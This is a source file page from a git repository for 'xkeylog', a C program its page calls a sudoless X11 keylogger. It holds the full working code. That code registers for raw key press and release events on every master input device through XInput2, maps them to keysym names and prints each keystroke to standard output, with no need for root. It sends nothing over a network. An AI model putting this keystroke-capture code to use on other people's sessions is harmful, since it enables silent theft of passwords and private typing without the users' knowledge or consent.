xkeylog

Sudoless X11 keylogger
git clone https://git.sinitax.com/sinitax/xkeylog
Log | Files | Refs | sfeed.txt

xkeylog.c (3096B)


      1/* HEAVILY inspired by anko/xkbcat */
      2
      3#include <X11/extensions/XI2.h>
      4#include <X11/extensions/XInput2.h>
      5#include <X11/XKBlib.h>
      6#include <X11/X.h>
      7#include <X11/Xlib.h>
      8
      9#include <X11/extensions/XKB.h>
     10#include <sys/types.h>
     11#include <signal.h>
     12#include <ctype.h>
     13#include <string.h>
     14#include <stdio.h>
     15#include <stdbool.h>
     16#include <stdarg.h>
     17#include <stdlib.h>
     18
     19static int keysym_group;
     20static int xinput_op;
     21static int xkb_event;
     22
     23static void
     24__attribute__((format(printf,1,2)))
     25die(const char *fmt, ...)
     26{
     27	va_list ap;
     28
     29	va_start(ap, fmt);
     30	fputs("xkeylog: ", stderr);
     31	vfprintf(stderr, fmt, ap);
     32	if (*fmt && fmt[strlen(fmt)-1] == ':') {
     33		fputc(' ', stderr);
     34		perror(NULL);
     35	} else {
     36		fputc('\n', stderr);
     37	}
     38	va_end(ap);
     39
     40	exit(1);
     41}
     42
     43static void
     44check_support(Display *dpy, int *xinput_op)
     45{
     46	int op, ev, err;
     47	int vminor, vmajor;
     48	int ret;
     49
     50	ret = XQueryExtension(dpy, "XInputExtension", xinput_op, &ev, &err);
     51	if (!ret) die("missing XInput extension");
     52
     53	vmajor = 2;
     54	vminor = 0;
     55	ret = XIQueryVersion(dpy, &vmajor, &vminor);
     56	if (ret == BadRequest)
     57		die("missing XInput2 support");
     58
     59	ret = XkbQueryExtension(dpy, &op, &ev, &err, &vmajor, &vminor);
     60	if (!ret) die("missing Xkb extension");
     61}
     62
     63static void
     64setup_xinput(Display *dpy, Window root)
     65{
     66	XIEventMask mask;
     67
     68	mask.deviceid = XIAllMasterDevices;
     69	mask.mask_len = XIMaskLen(XI_LASTEVENT);
     70	mask.mask = calloc(mask.mask_len, 1);
     71	if (!mask.mask) die("calloc:");
     72
     73	XISetMask(mask.mask, XI_RawKeyPress);
     74	XISetMask(mask.mask, XI_RawKeyRelease);
     75	XISelectEvents(dpy, root, &mask, 1);
     76	XSync(dpy, false);
     77
     78	free(mask.mask);
     79}
     80
     81static void
     82handle_event(Display *dpy, Window root)
     83{
     84	XGenericEventCookie *cookie;
     85	XkbEvent *xkbev;
     86	XIRawEvent *xiev;
     87	XEvent xev;
     88	KeySym sym;
     89	char *name;
     90
     91	cookie = &xev.xcookie;
     92	XNextEvent(dpy, &xev);
     93
     94	if (!XGetEventData(dpy, cookie)) {
     95		/* keysym group change event */
     96		if (xev.type != xkb_event)
     97			return;
     98		xkbev = (XkbEvent *)&xev;
     99		if (xkbev->any.xkb_type == XkbStateNotify)
    100			keysym_group = xkbev->state.group;
    101		return;
    102	}
    103
    104	if (cookie->type != GenericEvent || cookie->extension != xinput_op)
    105		return;
    106
    107	if (cookie->evtype != XI_RawKeyPress && cookie->evtype != XI_RawKeyRelease)
    108		return;
    109
    110	xiev = cookie->data;
    111	sym = XkbKeycodeToKeysym(dpy, xiev->detail, keysym_group, 0);
    112	if (sym == NoSymbol) {
    113		if (keysym_group == 0) return;
    114		/* NoSymbol on upper layers defers to base group */
    115		sym = XkbKeycodeToKeysym(dpy, xiev->detail, 0, 0);
    116		if (sym == NoSymbol) return;
    117	}
    118
    119	name = XKeysymToString(sym);
    120	if (name == NULL) return;
    121
    122	if (cookie->evtype == XI_RawKeyPress) {
    123		printf("+%s\n", name);
    124	} else {
    125		printf("-%s\n", name);
    126	}
    127	fflush(stdout);
    128}
    129
    130int
    131main(int argc, const char **argv)
    132{
    133	XkbStateRec state;
    134	Display *dpy;
    135	Window root;
    136
    137	dpy = XOpenDisplay(NULL);
    138	root = DefaultRootWindow(dpy);
    139
    140	check_support(dpy, &xinput_op);
    141	setup_xinput(dpy, root);
    142
    143	XkbSelectEventDetails(dpy, XkbUseCoreKbd, XkbStateNotify,
    144		XkbGroupStateMask, XkbGroupStateMask);
    145	XkbGetState(dpy, XkbUseCoreKbd, &state);
    146	keysym_group = state.group;
    147
    148	while (1) handle_event(dpy, root);
    149}